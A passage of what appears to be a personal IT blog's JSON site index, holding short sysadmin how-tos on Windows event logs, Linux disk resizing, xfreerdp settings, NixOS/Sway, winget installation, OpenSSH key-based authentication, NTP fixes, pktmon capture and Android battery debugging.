Get-WinEvent. The -ErrorAction SilentlyContinue parameter is important here—it suppresses any errors if no events are found in a particular log, ensuring the script doesn\u0026rsquo;t stop unexpectedly. Filtering by Time: Once the events are retrieved, they are filtered by the timestamp:powershellCopy code $recentEvents = $events | Where-Object { $_.TimeCreated -gt $TimeSpan } This ensures that only events created in the last 5 minutes are shown. Displaying the Results: If any events match the filter, they are displayed in a neat table using Format-Table:powershellCopy code $recentEvents | Select-Object TimeCreated, Id, LevelDisplayName, Message | Format-Table -AutoSize The table includes the time the event was created, its event ID, the level (such as Error, Warning, or Information), and the message content. Why This Matters By gathering events from all logs, this script ensures that no critical logs are overlooked. Whether you’re troubleshooting a hardware issue, investigating network activity, or monitoring driver problems, reviewing all logs within a specific timeframe can give you a broader perspective on system behavior.\nExample Output Here’s an example of what the output looks like when recent events are found:\nLog: Application TimeCreated Id LevelDisplayName Message ----------- -- ---------------- ------- 9/10/2024 11:45 AM 1001 Error Application error occurred... 9/10/2024 11:47 AM 2002 Warning Warning: High CPU usage... This provides a quick snapshot of recent system activity across various logs.\nHappy scripting!\n","permalink":"https://blog.wapnet.nl/2024/09/monitoring-event-logs-in-windows-with-powershell-a-script-for-recent-events/","summary":"\u003cp\u003eWhen managing a Windows environment, analyzing event logs is an essential part of troubleshooting. Windows logs a wide range of system, security, and application events, but sometimes specific problems can arise without easily accessible evidence. For example, when tracking down recent events, it can be cumbersome to manually check each log for relevant entries.\u003c/p\u003e\n\u003cp\u003eIn this post, I’ll share a simple PowerShell script that extracts recent log entries across \u003cstrong\u003eall event logs\u003c/strong\u003e—not just the default System, Application, and Security logs. This script is particularly useful when you need to quickly review what’s been happening on your machine over the last 5 minutes.\u003c/p\u003e","title":"Monitoring Event Logs in Windows with PowerShell: A Script for Recent Events"},{"content":"There are times when you need to extend a disk to accommodate more data or improve performance. While using UI tools to extend disks can make the process easier and more intuitive, there are situations where these tools aren\u0026rsquo;t available. In such cases, knowing how to extend a disk using command-line tools can be invaluable. This post will guide you through the process of extending a disk without the need for graphical interfaces like gparted.\nTLDR; swapoff /dev/sda5 cfdisk resize2fs /dev/sda1 mkswap /dev/sda5\nswapon /dev/sda5 blkid /dev/sda5 nano /etc/fstab\nFull procedure First check the current partition structure with lsblk\nAs you can see you have 65G total but only 15GB on /\nStart cfdisk\nAs you can see I cannot extend the disk because of the swap partition. So disable the swap first:\nsudo swapoff /dev/sda5\nThen start cfdisk to remove the extended and the swap partitions and extend the /dev/sda1\nIn my case I reseverd 1GB for the new swap.\nThen create a new extended /dev/sda2 (max size) partition and within the extended partition a new swap partition /dev/sda5\nChange the type of the swap partition to 82 Linux Swap / Solaris\nSo the partition structure looks like:\nGive a write and exit the cfdisk tool\nNow you can extend the /dev/sda1 partition with: resize2fs /dev/sda1\nAs you can see the partition is extended. Now can can reactivate your swap partition\nFirst check the current status\nEnter the commands:\nmkswap /dev/sda5 swapon /dev/sda5 And as you can see the swap is actived\nlast thing you need to do is change the fsab to when the system reboots everything still works ;)\nGet the UUID with blkid /dev/sda5\nEdit the fstab file: nano /etc/fstab and change the UID to the new ID\nThat\u0026rsquo;s all. Happy resizing :)\n","permalink":"https://blog.wapnet.nl/2024/08/extend-linux-ext4-disk-with-cfdisk/","summary":"\u003cp\u003eThere are times when you need to extend a disk to accommodate more data or improve performance. While using UI tools to extend disks can make the process easier and more intuitive, there are situations where these tools aren\u0026rsquo;t available. In such cases, knowing how to extend a disk using command-line tools can be invaluable. This post will guide you through the process of extending a disk without the need for graphical interfaces like gparted.\u003c/p\u003e","title":"Extend Linux ext4 disk with cfdisk"},{"content":"XfreeRDP3 If you\u0026rsquo;re like me and rely heavily on Remote Desktop Protocol (RDP) to connect to Windows servers from a Linux environment, you know how crucial performance can be. After experimenting with numerous settings, I\u0026rsquo;ve found a configuration that delivers the best performance using xfreerdp. Here’s a breakdown of the settings that worked wonders for me.\nWhy xfreerdp? xfreerdp is an open-source RDP client that offers a plethora of customization options, making it a powerful tool for Linux users needing to connect to Windows servers. Its flexibility allows for fine-tuning, which is essential for optimizing performance.\nMy Go-To Command Here is the xfreerdp command that gave me the best results:\nxfreerdp3 /u:some_admin@some-domain.local /p:\u0026#34;P@ASSWRRRDDD\u0026#34; /v:10.10.10.10 /dynamic-resolution /compression /network:auto /gfx:AVC420:on +clipboard -themes Let’s break down what each part of this command does:\n/u:some_admin@some-domain.local: Specifies the username to use for the connection. /p:\u0026ldquo;P@ASSWRRRDDD\u0026rdquo;: Specifies the password. Ensure this is securely stored and managed. /v:10.10.10.10: The IP address of the Windows server. /dynamic-resolution: Adjusts the screen resolution dynamically to match the size of the xfreerdp window. /compression: Enables compression to reduce the amount of data transferred, improving performance over slower connections. /network:auto: Automatically adjusts settings based on network conditions for optimal performance. /gfx:AVC420:on: Uses the AVC420 codec for efficient video compression, providing a good balance between quality and performance. +clipboard: Enables clipboard sharing between the local and remote systems. -themes: Disables desktop themes on the remote server to reduce the amount of graphical processing required. Additional Tips for Improved Performance To enhance your Remote Desktop (RDP) experience from Linux, adjusting the performance settings on the Windows server can make a big difference. Here’s a quick guide:\nOpen System Properties: Right-click on \u0026ldquo;This PC\u0026rdquo; or \u0026ldquo;Computer\u0026rdquo; and select \u0026ldquo;Properties\u0026rdquo;. Click on \u0026ldquo;Advanced system settings\u0026rdquo;. Adjust Performance Options: In the System Properties window, under the \u0026ldquo;Advanced\u0026rdquo; tab, click \u0026ldquo;Settings\u0026rdquo; in the Performance section. In the Performance Options window, select \u0026ldquo;Custom\u0026rdquo; and adjust the settings as shown in the screenshot below. Recommended Settings: Uncheck unnecessary visual effects like animations, shadows, and Peek. Check only essential items for a smoother experience. Refer to the screenshot for detailed settings adjustments.\nBy tweaking these settings, you can significantly improve the responsiveness of your RDP sessions.\nPerformance Options\nConclusion Finding the right settings for xfreerdp can be a game-changer for your remote desktop experience on Linux. The command and tips I’ve shared should help you achieve a smoother and more responsive connection to your Windows servers. Don’t hesitate to tweak these settings further based on your specific network conditions and requirements.\nHappy remoting!\n","permalink":"https://blog.wapnet.nl/2024/07/optimizing-rdp-performance-on-linux-my-best-settings-with-xfreerdp/","summary":"\u003ch3 id=\"xfreerdp3\"\u003eXfreeRDP3\u003c/h3\u003e\n\u003cp\u003eIf you\u0026rsquo;re like me and rely heavily on Remote Desktop Protocol (RDP) to connect to Windows servers from a Linux environment, you know how crucial performance can be. After experimenting with numerous settings, I\u0026rsquo;ve found a configuration that delivers the best performance using \u003ccode\u003exfreerdp\u003c/code\u003e. Here’s a breakdown of the settings that worked wonders for me.\u003c/p\u003e\n\u003ch4 id=\"why-xfreerdp\"\u003eWhy xfreerdp?\u003c/h4\u003e\n\u003cp\u003e\u003ccode\u003exfreerdp\u003c/code\u003e is an open-source RDP client that offers a plethora of customization options, making it a powerful tool for Linux users needing to connect to Windows servers. Its flexibility allows for fine-tuning, which is essential for optimizing performance.\u003c/p\u003e","title":"Optimizing RDP Performance on Linux: My Best Settings with xfreerdp"},{"content":"Currently, I am experimenting with NixOS and Sway. NixOS is a Linux operating system that allows you to build and manage your system using a single configuration file. Sway is a tiling window manager designed for Wayland, offering a dynamic and efficient workspace.\nThis article is a work in progress. I plan to share my setup and configuration details, but for now, this article serves as a draft to document my journey.\nI am aware of tools like flakes and Home Manager, but my current goal is to explore and understand NixOS without using these mechanisms.\nSway Config displays Use wdisplays. This is a nice graphical tool for wayland to configure and outline your displays\nUse swaymsg -t get_outputs to get all the display settings\nExample config for 3 displays # Config eDP-1 output eDP-1 { mode 2256x1504@59.999Hz pos 5247 0 scale 1.375 scale_filter linear transform normal max_render_time off adaptive_sync disabled } # Config DP-3 output DP-3 { mode 1920x1080@60.000Hz pos 8808 0 scale 1.0 scale_filter nearest transform normal max_render_time off adaptive_sync disabled } # Config DP-4 output DP-4 { mode 1920x1080@60.000Hz pos 6888 0 scale 1.0 scale_filter nearest transform normal max_render_time off adaptive_sync disabled } # Workspace assign workspace 1 output eDP-1 workspace 2 output DP-4 workspace 3 output DP-3 Terminal (foot) Configure the font\n$ touch ~/.config/foot/foot.ini $ nano ~/.config/foot/foot.ini [main] font = monospace:size=14 Sway shortcuts (cheatsheet) Mod + w = Tabbed view Mod + e = Normal view Mod + w = Tabbed view Mod + d = Application menu Mod+Shift+e = Restart Sway NixOS Packages environment.systemPackages = with pkgs; [ vim wget firefox-wayland spotify steam todoist-electron gimp pinta gedit keepassxc synology-drive-client vscode dolphin libsForQt5.kdeconnect-kde killall networkmanager git kitty powershell networkmanagerapplet gnome.gnome-keyring blueman gnome.gnome-bluetooth bluez bluez-tools pkgs.libsForQt5.bismuth # KDE Tiling upower # nodig voor power management (firefox) ]; ","permalink":"https://blog.wapnet.nl/2024/05/nixos-and-sway/","summary":"\u003cp\u003eCurrently, I am experimenting with NixOS and Sway. NixOS is a Linux operating system that allows you to build and manage your system using a single configuration file. Sway is a tiling window manager designed for Wayland, offering a dynamic and efficient workspace.\u003c/p\u003e\n\u003cp\u003eThis article is a work in progress. I plan to share my setup and configuration details, but for now, this article serves as a draft to document my journey.\u003c/p\u003e","title":"NixOS and Sway"},{"content":"In recent times, I\u0026rsquo;ve dedicated a significant portion of my efforts to developing custom PRTG sensors. To assist others who might be interested in this area, I\u0026rsquo;ve decided to create this blog post where I will compile a collection of useful links. These links lead to various articles and resources that I\u0026rsquo;ve found invaluable in my journey of crafting personalized sensors for the PRTG network monitoring tool. This curated list is intended to serve as a helpful guide for anyone looking to explore the possibilities of custom sensor creation in PRTG.\nAdvanced Sensors https://www.paessler.com/manuals/prtg/custom_sensors#advanced_sensors\nPRTG Sensor Hub https://www.paessler.com/sensor-hub/all/all/all#sw_origin_9\n","permalink":"https://blog.wapnet.nl/2024/05/prtg-articles-to-build-custom-sensors/","summary":"\u003cp\u003eIn recent times, I\u0026rsquo;ve dedicated a significant portion of my efforts to developing custom PRTG sensors. To assist others who might be interested in this area, I\u0026rsquo;ve decided to create this blog post where I will compile a collection of useful links. These links lead to various articles and resources that I\u0026rsquo;ve found invaluable in my journey of crafting personalized sensors for the PRTG network monitoring tool. This curated list is intended to serve as a helpful guide for anyone looking to explore the possibilities of custom sensor creation in PRTG.\u003c/p\u003e","title":"PRTG articles to build custom sensors"},{"content":"Iptraf-ng stands out as an excellent alternative to Wireshark and tcpdump, offering a robust set of features for comprehensive network traffic analysis. This versatile tool gathers a wide range of information, including TCP connection details, interface statistics, and TCP/UDP traffic breakdowns.\nIts key features make it a compelling choice:\nIP Traffic Monitoring: Provides real-time insights into IP traffic across your network. Detailed Interface Statistics: Displays comprehensive statistics on IP, TCP, UDP, ICMP, non-IP packets, and more. TCP and UDP Service Monitoring: Monitors incoming and outgoing packets for commonly used TCP and UDP application ports. LAN Statistics Module: Identifies active hosts on the LAN, offering data activity statistics. Protocol Display Filters: Enables users to customize displays for specific protocols like TCP, UDP, and others. Logging Capabilities: Allows for the logging of network activity, facilitating detailed analysis. As a user-friendly and efficient network monitoring tool, iptraf-ng presents itself as a valuable alternative to Wireshark and tcpdump. Its capabilities make it particularly well-suited for those seeking a reliable solution for network analysis and troubleshooting. The example screenshot of the IP traffic monitor underscores its user-friendly interface and robust functionality, positioning iptraf-ng as a commendable choice in the realm of network monitoring tools.\n","permalink":"https://blog.wapnet.nl/2024/02/iptraf-ng-a-lightweight-yet-powerful-alternative-to-tcpdump-and-wireshark/","summary":"\u003cp\u003eIptraf-ng stands out as an excellent alternative to Wireshark and tcpdump, offering a robust set of features for comprehensive network traffic analysis. This versatile tool gathers a wide range of information, including TCP connection details, interface statistics, and TCP/UDP traffic breakdowns.\u003c/p\u003e\n\u003cp\u003eIts key features make it a compelling choice:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eIP Traffic Monitoring:\u003c/strong\u003e\n\u003cul\u003e\n\u003cli\u003eProvides real-time insights into IP traffic across your network.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDetailed Interface Statistics:\u003c/strong\u003e\n\u003cul\u003e\n\u003cli\u003eDisplays comprehensive statistics on IP, TCP, UDP, ICMP, non-IP packets, and more.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eTCP and UDP Service Monitoring:\u003c/strong\u003e\n\u003cul\u003e\n\u003cli\u003eMonitors incoming and outgoing packets for commonly used TCP and UDP application ports.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eLAN Statistics Module:\u003c/strong\u003e\n\u003cul\u003e\n\u003cli\u003eIdentifies active hosts on the LAN, offering data activity statistics.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eProtocol Display Filters:\u003c/strong\u003e\n\u003cul\u003e\n\u003cli\u003eEnables users to customize displays for specific protocols like TCP, UDP, and others.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eLogging Capabilities:\u003c/strong\u003e\n\u003cul\u003e\n\u003cli\u003eAllows for the logging of network activity, facilitating detailed analysis.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eAs a user-friendly and efficient network monitoring tool, iptraf-ng presents itself as a valuable alternative to Wireshark and tcpdump. Its capabilities make it particularly well-suited for those seeking a reliable solution for network analysis and troubleshooting. The example screenshot of the IP traffic monitor underscores its user-friendly interface and robust functionality, positioning iptraf-ng as a commendable choice in the realm of network monitoring tools.\u003c/p\u003e","title":"iptraf-ng: A Lightweight Yet Powerful Alternative to TCPDump and Wireshark"},{"content":"I want to use the vlookup excel function within powershell and without data manipulation of the CSV itself. So I wrote a script to import a CSV, find some data and compare these data\n$CSV = Import-Csv -Path C:\\Users\\user\\some.csv $trigger = $CSV| Where-Object {$_.\u0026#34;Primary Description\u0026#34; -like \u0026#34;some string with a computername\u0026#34;} $result = $CSV| Where-Object {$_.\u0026#34;Primary Description\u0026#34; -like \u0026#34;another string with a computername\u0026#34;} $triggerComputer = foreach ($i in $trigger) {($i.\u0026#34;Primary Description\u0026#34; -split \u0026#34; \u0026#34;)[5]} $resultComputer = foreach ($i in $result) {($i.\u0026#34;Primary Description\u0026#34; -split \u0026#34; \u0026#34;)[5]} Compare-Object $triggerComputer $resultComputer Have fun!\n","permalink":"https://blog.wapnet.nl/2023/08/vlookup-with-powershell/","summary":"\u003cp\u003eI want to use the vlookup excel function within powershell and without data manipulation of the CSV itself. So I wrote a script to import a CSV, find some data and compare these data\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$CSV = Import-Csv -Path C:\\Users\\user\\some.csv\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$trigger = $CSV| Where-Object {$_.\u0026#34;Primary Description\u0026#34;  -like \u0026#34;some string with a computername\u0026#34;}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$result = $CSV| Where-Object {$_.\u0026#34;Primary Description\u0026#34;  -like \u0026#34;another string with a computername\u0026#34;}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$triggerComputer = foreach ($i in $trigger) {($i.\u0026#34;Primary Description\u0026#34; -split \u0026#34; \u0026#34;)[5]}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$resultComputer = foreach ($i in $result) {($i.\u0026#34;Primary Description\u0026#34; -split \u0026#34; \u0026#34;)[5]}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCompare-Object $triggerComputer $resultComputer\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eHave fun!\u003c/p\u003e","title":"vlookup with powershell"},{"content":"If you are unable to access the Windows Store app and wish to install winget, you can easily do so by following these steps:\nFirst download the latest version of winget: https://aka.ms/getwinget Then use this Powershell command to install winget Add-AppxPackage -Path Microsoft.DesktopAppInstaller_8wekyb3d8bbwe.msixbundle Probably you will get this error:\nWindows cannot install package Microsoft.DesktopAppInstaller_1.19.10173.0_x64__8wekyb3d8bbwe because this package depends on a framework that could not be found. Provide the framework \u0026ldquo;Microsoft.UI.Xaml.2.7\u0026rdquo; published by \u0026ldquo;CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US\u0026rdquo;, with neutral or x64 processor architecture and minimum version 7.2109.13004.0, along with this package to install. The frameworks with name \u0026ldquo;Microsoft.UI.Xaml.2.7\u0026rdquo; currently installed are: {}\nThe reason is that you miss the dependency Microsoft.UI.Xaml.2.7\nNow you have to go to the nuget website and download the nuget package: https://www.nuget.org/packages/Microsoft.UI.Xaml/2.7.3\nThen you have to rename the file extension of the downloaded file to .zip\nOpen the zip file and go to tools \u0026gt; AppX \u0026gt; X64 \u0026gt; Release and extract the Microsoft.UI.Xaml.2.7.appx file\nInstall the extracted appx file\nAdd-AppxPackage -Path .\\Microsoft.UI.Xaml.2.7.appx You may also get this error when you try to install winget\nWindows cannot install package Microsoft.DesktopAppInstaller_1.19.10173.0_x64__8wekyb3d8bbwe because this package depen\nds on a framework that could not be found. Provide the framework \u0026ldquo;Microsoft.VCLibs.140.00.UWPDesktop\u0026rdquo; published by \u0026ldquo;CN=\nMicrosoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US\u0026rdquo;, with neutral or x64 processor architect\nure and minimum version 14.0.30704.0, along with this package to install. The frameworks with name \u0026ldquo;Microsoft.VCLibs.14\n0.00.UWPDesktop\u0026rdquo; currently installed\nYou can download Microsoft.VCLibs.140.00.UWPDesktop here: https://aka.ms/Microsoft.VCLibs.x64.14.00.Desktop.appx\nInstall Microsoft.VCLibs.x64.14.00.Desktop with this command:\nAdd-AppxPackage -Path .\\Microsoft.VCLibs.x64.14.00.Desktop.appx And now you should install the winget application without errors:\nAdd-AppxPackage -Path .\\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe.msixbundle Happy installing :)\n","permalink":"https://blog.wapnet.nl/2023/05/install-winget-without-the-microsoft-app-store/","summary":"\u003cp\u003eIf you are unable to access the Windows Store app and wish to install winget, you can easily do so by following these steps:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFirst download the latest version of winget: \u003ca href=\"https://aka.ms/getwinget\"\u003ehttps://aka.ms/getwinget\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eThen use this Powershell command to install winget\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAdd-AppxPackage -Path Microsoft.DesktopAppInstaller_8wekyb3d8bbwe.msixbundle\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eProbably you will get this error:\u003c/p\u003e\n\u003cp\u003e\u003cem\u003eWindows cannot install package Microsoft.DesktopAppInstaller_1.19.10173.0_x64__8wekyb3d8bbwe because this package depends on a framework that could not be found. Provide the framework \u0026ldquo;Microsoft.UI.Xaml.2.7\u0026rdquo; published by \u0026ldquo;CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US\u0026rdquo;, with neutral or x64 processor architecture and minimum version 7.2109.13004.0, along with this package to install. The frameworks with name \u0026ldquo;Microsoft.UI.Xaml.2.7\u0026rdquo; currently installed are: {}\u003c/em\u003e\u003c/p\u003e","title":"Install winget without the Microsoft App Store"},{"content":"OpenSSH is a free and open-source software that allows secure communication between computers over an unsecured network. It is widely used on Linux and Unix systems, but it is also available for Windows systems. In this article, we will show you how to install and configure OpenSSH on a Windows 2022 server.\nStep 1: Install OpenSSH The first step is to install OpenSSH on your Windows server. To do this, follow these steps:\n# Install the OpenSSH Server Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0 # Start the sshd service Start-Service sshd # OPTIONAL but recommended: Set-Service -Name sshd -StartupType \u0026#39;Automatic\u0026#39; # Confirm the Firewall rule is configured. It should be created automatically by setup. Run the following to verify if (!(Get-NetFirewallRule -Name \u0026#34;OpenSSH-Server-In-TCP\u0026#34; -ErrorAction SilentlyContinue | Select-Object Name, Enabled)) { Write-Output \u0026#34;Firewall Rule \u0026#39;OpenSSH-Server-In-TCP\u0026#39; does not exist, creating it...\u0026#34; New-NetFirewallRule -Name \u0026#39;OpenSSH-Server-In-TCP\u0026#39; -DisplayName \u0026#39;OpenSSH Server (sshd)\u0026#39; -Enabled True -Direction Inbound -Protocol TCP -Action Allow -LocalPort 22 } else { Write-Output \u0026#34;Firewall rule \u0026#39;OpenSSH-Server-In-TCP\u0026#39; has been created and exists.\u0026#34; } Step 2: Configure OpenSSH Once OpenSSH is installed on your server, you need to configure it to allow secure communication. Follow these steps to configure OpenSSH:\nOpen notepad Open the configuration file C:\\ProgramData\\ssh\\sshd_config Remove the \u0026ldquo;#\u0026rdquo; at the beginning of the line #PubkeyAuthentication yes to uncomment it: PubkeyAuthentication yes Locate the line that starts with #PasswordAuthentication yes and remove the \u0026ldquo;#\u0026rdquo; at the beginning of the line to uncomment it and change it to NO: PasswordAuthentication no Add the \u0026ldquo;#\u0026rdquo; at the beginning of the line AuthorizedKeysFile PROGRAMDATA/ssh/administrators_authorized_keys to comment it out: #AuthorizedKeysFile PROGRAMDATA/ssh/administrators_authorized_keys Save the changes and close the configuration file. Restart the service # Restart the sshd service Restart-Service sshd Step 3: Configure the Administrator for key-based authentication After the configuration is complete, you need to configure the public key.\nOptional: If you don\u0026rsquo;t have a public/private keypair use this command to create the files on your client:\nssh-keygen -t rsa -b 4096 Open the Explorer and go to C:\\Users\\\u0026lt;Username\u0026gt;\\ Create a folder .ssh Create a text file (without extension!) authorized_keys Open the file in notepad Paste your ssh-rsa public key in this authorized_keys file (this is the content of id_rsa.pub) Save the file Remove the inheritance so that only the user and system has full permission Step 4: Test OpenSSH To test if OpenSSH is installed and configured correctly, follow these steps:\nOpen a Command Prompt window. Type \u0026ldquo;ssh username@\u0026rdquo; and press Enter. If the connection is successful, you should see a welcome message. Congratulations! You have successfully installed and configured OpenSSH on your Windows 2022 server and configure it securely with key-based authentication.\nOptional: change CMD to Powershell If you want to connect directly in PowerShell instead of the default command use this PowerShell command\nNew-ItemProperty -Path \u0026#34;HKLM:\\SOFTWARE\\OpenSSH\u0026#34; -Name DefaultShell -Value \u0026#34;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\u0026#34; -PropertyType String -Force Happy connecting :)\n","permalink":"https://blog.wapnet.nl/2023/04/install-and-configure-openssh-windows-server-2019-and-2022-and-configure-key-based-authentication/","summary":"\u003cp\u003eOpenSSH is a free and open-source software that allows secure communication between computers over an unsecured network. It is widely used on Linux and Unix systems, but it is also available for Windows systems. In this article, we will show you how to install and configure OpenSSH on a Windows 2022 server.\u003c/p\u003e\n\u003ch2 id=\"step-1-install-openssh\"\u003eStep 1: Install OpenSSH\u003c/h2\u003e\n\u003cp\u003eThe first step is to install OpenSSH on your Windows server. To do this, follow these steps:\u003c/p\u003e","title":"Install and Configure OpenSSH Windows Server 2019 and 2022 and configure key-based authentication"},{"content":"When it comes to configuring your Primary Domain Controller (PDC) or local Network Time Protocol (NTP), you\u0026rsquo;ll find a a lot of information online.\nBut in a nutshell this is what you have to do:\nw32tm /config /manualpeerlist:\u0026#34;\u0026lt;IPTIMESERVER\u0026gt;,0x1\u0026#34; /syncfromflags:manual /reliable:yes /update net stop w32time net start w32time w32tm /resync /rediscover But if the timeserver isn\u0026rsquo;t reliable you get the error:\nThe fix is really easy. Remove the /reliable:yes option\nw32tm /config /manualpeerlist:\u0026#34;\u0026lt;IPTIMESERVER\u0026gt;,0x1\u0026#34; /syncfromflags:manual /update And then after the w32tm /resync /rediscover:\nOff course you only want to remove the /reliable:yes in a lab environment. Otherwise change the NTP server to a reliable one.\n","permalink":"https://blog.wapnet.nl/2023/04/ntp-error-the-computer-did-not-resync-because-no-time-data-was-available/","summary":"\u003cp\u003eWhen it comes to configuring your Primary Domain Controller (PDC) or local Network Time Protocol (NTP), you\u0026rsquo;ll find a a lot of information online.\u003c/p\u003e\n\u003cp\u003eBut in a nutshell this is what you have to do:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ew32tm /config /manualpeerlist:\u0026#34;\u0026lt;IPTIMESERVER\u0026gt;,0x1\u0026#34; /syncfromflags:manual /reliable:yes /update\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enet stop w32time\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enet start w32time\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ew32tm /resync /rediscover\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eBut if the timeserver isn\u0026rsquo;t reliable you get the error:\u003c/p\u003e\n\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2023/04/image.png\"/\u003e \n\u003c/figure\u003e\n\n\u003cp\u003eThe fix is really easy. Remove the \u003ccode\u003e/reliable:yes\u003c/code\u003e option\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ew32tm /config /manualpeerlist:\u0026#34;\u0026lt;IPTIMESERVER\u0026gt;,0x1\u0026#34; /syncfromflags:manual /update\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eAnd then after the \u003ccode\u003ew32tm /resync /rediscover\u003c/code\u003e:\u003c/p\u003e","title":"NTP Error: the computer did not resync because no time data was available"},{"content":"Are you in a situation where you need to capture and analyze network traffic, but don\u0026rsquo;t have Wireshark or TCPDump at your disposal? Don\u0026rsquo;t worry, there\u0026rsquo;s still a solution. Enter pktmon.\nWhile it may not be the most sophisticated tool out there, pktmon is a viable option for monitoring traffic in real-time. With its lightweight and efficient design, you can quickly capture and analyze packets without the need for any additional software installations.\nSo, how exactly does pktmon work? It uses the Windows Filtering Platform (WFP) to capture network traffic at the packet level. This allows you to examine specific details about each packet, such as its source and destination address, protocol, and payload.\nBut what makes pktmon really stand out is its ability to filter traffic based on specific criteria. For example, you can use it to only capture traffic from a specific IP address, port, or protocol. This makes it a powerful tool for troubleshooting network issues or identifying potential security threats.\nWhile pktmon may not be the most robust traffic monitoring tool out there, it\u0026rsquo;s certainly a valuable option to have in your arsenal and its already installed :) So the next time you find yourself in need of capturing and analyzing network traffic, give pktmon a try - you might just be surprised by what it can do.\n#start the traffic capture pktmon start -c #stop the traffic capture pktmon stop #convert the file so you can view it in notepad pktmon etl2txt \u0026lt;etl file\u0026gt; More info: https://learn.microsoft.com/en-us/windows-server/networking/technologies/pktmon/pktmon-syntax\nHappy sniffing :)\n","permalink":"https://blog.wapnet.nl/2023/03/tcpdump-alternative-windows/","summary":"\u003cp\u003eAre you in a situation where you need to capture and analyze network traffic, but don\u0026rsquo;t have Wireshark or TCPDump at your disposal? Don\u0026rsquo;t worry, there\u0026rsquo;s still a solution. Enter \u003cstrong\u003epktmon\u003c/strong\u003e.\u003c/p\u003e\n\u003cp\u003eWhile it may not be the most sophisticated tool out there, pktmon is a viable option for monitoring traffic in real-time. With its lightweight and efficient design, you can quickly capture and analyze packets without the need for any additional software installations.\u003c/p\u003e","title":"TCPDump alternative Windows"},{"content":"I previously write an article about a logd battery drain: /2021/11/android-logd-battery-drain/\nBut you can also have an system_server battery drain. With some easy debug steps you can find the root cause of this drain.\nFirst install ADB Put your phone in development mode Start \u0026ldquo;adb shell\u0026rdquo; Start \u0026ldquo;top\u0026rdquo; If you have an high system_server CPU than check the PID.\nNote: In my screenshot it is already fixed. But this was 30~35% CPU\nIn my case the PID is 1756. So now we can check logcat to find out what the reason is of the high CPU.\nlogcat | grep 1756\nIn this example you see signal is eating some CPU\nWith this information you can remove all the apps that is eating your CPU. In my case these apps drained my battery:\nSpotify Teams MS Drive Oneplus Weather Happy debugging 